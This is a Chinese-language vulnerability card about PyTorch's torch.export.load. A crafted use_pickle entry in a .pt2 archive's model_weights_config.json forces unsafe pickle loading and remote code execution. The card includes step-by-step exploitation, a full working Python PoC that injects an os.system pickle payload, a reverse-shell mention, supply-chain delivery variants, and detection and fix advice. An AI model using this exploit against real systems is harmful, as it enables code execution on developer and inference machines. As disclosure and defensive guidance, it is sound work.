PyTorch torch.export.load 信任 .pt2 内 use_pickle:恶意 model_weights_config.json 触发 weights_only=False 反序列化 RCE
ai-security/supply-chain · verified
一句话结论
构造一个合法的 .pt2 模型档案,在 model_weights_config.json 的 config 中插入一条 use_pickle: true 的记录并在对应 data/weights/<path_name> 放入 pickle 载荷;受害者调用 torch.export.load() 时,内部 _load_state_dict 会以 weights_only=False 调用 torch.load,加载即执行任意代码。由于 torch.export.load 的公开签名根本没有 weights_only 参数,调用方无法在代码层加固。
原理
torch.export.save把模型导出为.pt2(本质是 ZIP),其中model_weights_config.json描述每个权重 FQN 如何加载:path_name指向data/weights/下的文件,is_param决定是否包装成 Parameter,use_pickle决定是否走 pickle 反序列化,tensor_meta描述 dtype/shape/stride 等。- 加载链为
torch.export.load → load_pt2 → _load_exported_programs → _load_state_dict。_load_state_dict遍历weights_config.config.items():当某条记录的use_pickle为真时,读取data/weights/<path_name>的字节并执行torch.load(io.BytesIO(weight_bytes), weights_only=False)。 weights_only=False会启用完整 pickle 反序列化。pickle 在还原对象时执行__reduce__返回的 callable 与参数,因此攻击者只要让__reduce__返回(os.system, (cmd,)),加载档案就会执行命令。- 关键安全问题在于“配置由文件自己提供”:
model_weights_config.json是攻击者完全可控的 ZIP 内文件,use_pickle是其中的普通布尔字段;torch.export.load没有任何参数可覆盖它,也没有对use_pickle=true的记录做来源或内容校验。 - 这与
torch.load在 PyTorch 2.6 起默认weights_only=True的“安全默认”形成反差:torch.export.load内部硬编码weights_only=False,使“只加载模型权重”的预期被文件内的一个字段绕过;官方 docstring 虽警告“Never load data from an untrusted source”,但 API 层没有提供强制安全的开关。 .pt2可以同时保留合法的模型结构与权重,受害者加载后仍能得到可用的ExportedProgram,恶意记录只是额外插入的一条config项,因此从外观和常规使用上都难以察觉。
触发条件
- 受害者使用
torch.export.load()(或直接load_pt2)加载不可信来源的.pt2档案。 - 目标 PyTorch 版本包含上述
_load_state_dict逻辑,且use_pickle字段被信任(原文以pip install torch的当前版本复现)。 - 攻击者能生成/修改
.pt2并通过模型仓库、邮件、CI 制品、共享目录等方式投递。 - 加载进程没有在加载前检查 ZIP 内的
model_weights_config.json,也没有对 pickle 做静态扫描或沙箱隔离。 - 运行加载进程的用户具备命令执行权限(通常就是开发者/训练节点权限)。
利用步骤
- 用官方接口生成一个合法模板:定义简单
torch.nn.Module,调用export(model, example_inputs)与save(ep, "benign.pt2")。 - 构造恶意对象:实现
__reduce__返回(os.system, ("id > /tmp/pt2_pwned",))或反弹 Shell 命令,pickle.dumps得到载荷字节。 - 重新打包 ZIP:逐条复制
benign.pt2的所有条目;读到model_weights_config.json时解析 JSON,向config插入malicious_rce记录:{"path_name": "malicious_payload", "is_param": false, "use_pickle": true, "tensor_meta": null};其余内容保持不变。 - 把 pickle 载荷写入 ZIP 内
data/weights/malicious_payload(目录前缀取 ZIP 第一项的根目录,如benign/)。 - 受害者执行
torch.export.load("malicious.pt2");_load_state_dict命中use_pickle分支,torch.load(..., weights_only=False)反序列化并执行命令。 - 即使加载随后因结构不完整抛出
RuntimeError,命令已经在反序列化阶段执行;原文截图即为calc.exe被拉起后torch.export.load报错。
PoC
import os, io, json, pickle, zipfile
import torch
from torch.export import export, save, load
class MyModule(torch.nn.Module):
def __init__(self):
super().__init__()
self.w = torch.nn.Parameter(torch.randn(1))
def forward(self, x):
return x + self.w
# 1) 合法模板
save(export(MyModule(), (torch.randn(1),)), "benign.pt2")
# 2) pickle 载荷:仅执行无害命令验证代码执行
class Malicious:
def __reduce__(self):
return (os.system, ("id > /tmp/pt2_pwned",))
payload = pickle.dumps(Malicious())
# 3) 改写配置并注入载荷
with zipfile.ZipFile("benign.pt2", "r") as zin:
root = zin.namelist()[0].split("/")[0]
with zipfile.ZipFile("malicious.pt2", "w") as zout:
for item in zin.infolist():
content = zin.read(item.filename)
if item.filename.endswith("model_weights_config.json"):
config = json.loads(content.decode("utf-8"))
config["config"]["malicious_rce"] = {
"path_name": "malicious_payload",
"is_param": False,
"use_pickle": True,
"tensor_meta": None,
}
content = json.dumps(config).encode("utf-8")
zout.writestr(item, content)
zout.writestr(f"{root}/data/weights/malicious_payload", payload)
# 4) 受害者侧触发
load("malicious.pt2") # _load_state_dict -> torch.load(..., weights_only=False)
变体与关联
- 变体:把恶意记录命名成任何权重名(如
w2、layer.weight),或插入多条use_pickle记录;path_name可指向 ZIP 内任意路径的载荷文件。 - 变体:通过模型仓库/内部模型市场分发
.pt2,或把它伪装成“已导出/已编译模型”放入 CI 制品、推理服务挂载目录,诱使受害者用torch.export.load加载。 - 变体:同类“文件内配置决定反序列化安全性”的模式也可能出现在其他框架的打包加载器中;审计时应重点检查从归档 JSON 读取
use_pickle/weights_only/trust_remote_code等安全开关的路径。 - 关联:[[ai-security-supply-chain-huggingface-pickle-model-reverse-shell]](传统
torch.load恶意模型;本卡是torch.export.load内部强制weights_only=False的新路径)、[[web-python-deserialization-comfyui-loadtrainingdataset-torch-load-pickle-rce]](应用层裸调torch.load)。 - 关联:[[ai-security-supply-chain-invokeai-model-install-picklescan-suspicious-fail-open-rce]](模型安装扫描 fail-open;本卡是加载器自身信任归档配置)。
- 边界:原文未给出 CVE 编号与受影响版本区间;利用依赖
torch.export的.pt2归档格式,旧版本无此路径或字段结构不同,需按目标版本核对。
检测与防御
- 检测:在加载前检查
.pt2ZIP 内model_weights_config.json,拒绝任何use_pickle: true的记录;扫描data/weights/下非 tensor 格式的 pickle 字节(GLOBAL/STACK_GLOBAL/os.system/subprocess/socket等);监控torch.export.load进程拉起 shell/计算器等异常子进程。 - 修复:在
_load_state_dict中把torch.load(..., weights_only=False)改为weights_only=True,或对归档中的use_pickle记录直接拒绝(只允许框架内部可信来源使用);为torch.export.load暴露可覆盖的weights_only参数并默认安全。 - 加固:把不可信
.pt2当作可执行代码,加载前在无网络、低权限、只读文件系统的沙箱/容器中进行;优先使用safetensors等纯权重格式;固定模型 revision 并校验 hash/签名。 - 防御:模型市场与 CI 对上传的
.pt2做结构审计与 pickle 扫描;推理服务不要加载用户可控的模型档案;对加载进程的出站网络与子进程行为做运行时监控。